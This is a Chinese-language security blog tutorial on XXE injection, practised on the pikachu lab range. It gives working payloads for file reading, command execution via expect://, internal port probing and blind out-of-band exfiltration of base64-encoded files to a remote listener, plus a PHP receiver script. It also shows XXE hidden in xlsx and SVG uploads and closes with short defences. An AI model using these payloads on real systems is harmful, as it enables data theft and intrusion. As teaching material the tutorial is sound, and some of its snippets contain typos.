XXE漏洞

参考视频:https://www.bilibili.com/video/BV13R4y117kL/
参考文章:https://blog.csdn.net/qq_39670065/article/details/108347687
https://blog.csdn.net/elephantxiang/article/details/113812331
靶场地址:https://github.com/c0ny1/xxe-lab
https://github.com/zhuifengshaonianhanlu/pikachu

0x01 漏洞简介

XXE漏洞原理

XXE Injection(XML External Entity Injection,XML外部实体注入攻击)攻击者可以通过XML的外部实体来获取服务器种本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用,libxml2.9.1及以后,默认不再解析外部实体。

XXE漏洞的危害

当允许引用外部实体时,通过恶意构造,可以导致以下常见的危害:

  • 任意文件读取
  • 执行系统命令
  • 探测内网端口
  • ... ...

XML基础知识

什么是XML

XML文档:https://www.w3school.com.cn/xml/xml_intro.asp

XML指可扩展标记语言,XML被设计用来传输和存储数据,我们可以理解为就是一种写法类似于HTML语言的数据格式文档。但是xml跟html是为不同目的而设计的,html旨在显示数据信息,而xml旨在 传输数据信息。

什么是DTD

DTD教程:https://www.w3school.com.cn/dtd/dtd_intro.asp

与xml格式相关,DTD(文档类型定义)的作用是定义xml文档的合法构建模块,也就是说声明了xml的内容格式规范。它使用一系列合法的元素来定义文档的结构。

DTD的两种声明方式

DTD可被成行的声明于xml文档中,也可做为一个外部引用。

  1. 内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
  2. 外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
内部

假如DTD被包含在xml源文件中,它应当通过下面的语法包装在一个DOCTYPE声明中:

下面是一个带有DTD的XML文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [			<!-- 该行定义此文档是note类型的文档 -->
    <!ELEMENT note (to,from,heading,body)>	<!--该行定义根元素note有四个子元素:to from heading body-->
	<!ELEMENT to		(#PCDATA)>
	<!ELEMENT from		(#PCDATA)>
	<!ELEMENT heading	(#PCDATA)>
    <!ELEMENT body		(#PCDATA)>	<!--4-7行代码定义了这四个子元素的类型为“#PCDATA”类型-->
    <!ENTITY write "hello world">	<!--该行定义了一个名为write值为“hello world”的实体-->
]>
<!--下面的结构由我们上面DTD声明的构建而成-->
<note>
	<to>George</to>
	<from>John</from>
	<heading>Reminder</heading>
	<body>&writer;</body>	<!--这里引入了实体-->
</note>
<!--这里我的理解是,可以把实体当作一个变量(或者函数?),前面定义好,后面引用即可使用它的内容-->

关于4-7行的元素类型:

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。


CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

外部
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY>		<!--定义元素为ANY类型,即可以接受任何元素-->
<!ENTITY xxe SYSTEM "file:///c:/test.dtd">]>	<!--这里引用了外部实体,会对这个资源文件进行引用,这个是一种用SYSTEM关键字的引用方式-->
<root><body>&xxe</body></root>

什么是实体

看完上面的例子,我们再来总结下什么是实体。

我们可以理解为,实体其实就是一个变量。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体应用是对实体的引用。实体可在内部或外部进行声明。

实体的分类

实体分为内置实体、字符实体、通用实体和参数实体,其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个&符号、一个实体名称以及一个

在 XML 中,一些字符拥有特殊的意义,如果把这些字符放在XML元素中就会产生错误,所以必须用实体引用来代替

通用实体可以参考上面的外部DTD的代码内容,关于参数实体实例如下:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM
"http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;	<!--只能在dtd中使用% s-->

remote.dtd内容

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

一个外部实体声明

语法
<!ENTITY 实体名称 SYSTEM "URL/URL">
例子

DTD例子:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XML例子:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % file SYSTEM "http://192.168.2.124/payloads/entities.dtd"> <!--上面的dtd-->
%file;	<!--引入进来-->
<!-- <!ENTITY writer "Donald Duck.">
     <!ENTITY copyright "Copyright runoob.com"> -->
]>
<c>&writer;</c>

pikachu靶场测试效果

0x02 XXE漏洞利用

XXE漏洞可能存在的地方

  • XXE漏洞主要是关注测试的目标系统是否存在请求传输xml数据格式的API,如果遇到有xml数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。
  • 可上传excel文件的上传点,图片上传点

PHP的XXE条件

  • Libxml的版本尽可能的低,libxml是PHP的xml解析库,因为从2.8.0版本开始,libxml默认是不加载外部实体的,如果要使用较高版本的libxml的话,需要在编写代码的时候对参数做设置。
  • 目标主机没有禁用外部实体的引用。
  • 用户可以控制xml的输入内容。

任意文件读取

pikachu靶场为例

首先我们测试是否能否回显(这里能回显不能直接判断是否支持外部实体)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY read "M0urn">
]>
<test>&read;</test>

尝试读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY read SYSTEM "file:///c:/windows/win.ini">
]>
<test>&read;</test>

读取成功

系统命令执行

在安装expect扩展的PHP环境中执行系统命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username[
<!ELEMENT name ANY>
<!ENTITY file SYSTEM "expect://ipconfig">
]>
<user><username>
&file;
</username><password>2</password></user>

内网端口探测

大体思路就是访问内网ip的端口,响应快的为开放端口。

这里可以参考这篇文章:https://blog.csdn.net/elephantxiang/article/details/113812331

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username[
<!ELEMENT name ANY>
<!ENTITY file SYSTEM "http://192.168.23.123:80">
]>
<user><username>
&file;
</username><password>2</password></user>

可以结合Burp的Intruder模块进行端口扫描。

无回显的XXE利用

利用php在本地写文件

xml内容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.2.124/payloads/xxe_test.dtd">
%remote;
%all;
%send;
]>

远程端vps上在网站目录下放两个文件,一个是test.php用于接收信息,另一个是test.dtd,其中test.php代码如下:

<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file , $content);
echo "\n";
?>

test.dtd的代码如下

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.2.124/payloads/xxe_test.php?file=%file;'>">

&#x25是代表”%“,因为实体的值中不能有%,所以要转成实体编码。

这几个代码的逻辑关系是:

传入的实体先调用remote实体,远程引入外部实体test.dtd,然后通过调用test.dtd里的all实体来放出send实体,然后借助send实体触发file实体,读取敏感文件,再将文件的内容通过test.php写入到本地文件,达成无回显的xxe攻击。

我在本地利用搭建的pikachu靶场实验了下:

利用nc接收内容

kali起一个nc监听7777端口

xml内容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.2.124/payloads/xxe_test.dtd">
%remote;
%all;
%send;
]>

dtd内容

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.23.130:7777?%file;'>">

kali可以看到接收到了返回的信息

解base64

同样是拿到了文件内容

EXCEL&SVG XXE漏洞利用

excel xxe利用文档制作

excel本身就是一个xml数据格式的合集,所以当它被上传到服务器时,如果文件会被解析执行(可以用dnslog测试下,如果有解析记录则说明被解析),那么其中的xml payload也会被解析执行。

制作方法:

  1. 创建一个新的excel文档:excel.xlsx

  2. 把test.xlsx当zip,打开压缩包(Linux下命令:mkdir xxe && unzip test.xlsx -d xxe

  1. 修改解压目录中的xl目录下的workbook.xml内容,从第一行换行后开始插入payload

  1. 保存文件内容,改回test.xlsx(Linux下zip -r test.xlsx xxe

后续上传进去即可。

SVG xxe

应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG等格式,所使用的图像处理库也可能支持SVG图像。由于SVG格式使用 XML,攻击者可以提交恶意的SVG图像,从而达到XXE漏洞的隐藏攻击面。

<?xm1 version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe sYSTEM "file:/l/etc/hostname" >]>
<svg width="128px" height="128px" xm1ns="http://www.w3.org/2000/svg"xm1ns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

0x03 XXE防御措施

字符串实体编码

字符 转义
< &lt;
> &gt;
& $amp;
' &apos;
" &quot;

过滤用户提交的XML数据,关键词:SYSTEM和PUBLIC

禁用外部实体:libxml_disable_entity_loader(true)

posted @ 2023-10-13 13:24  M0urn  阅读(40)  评论(0编辑  收藏  举报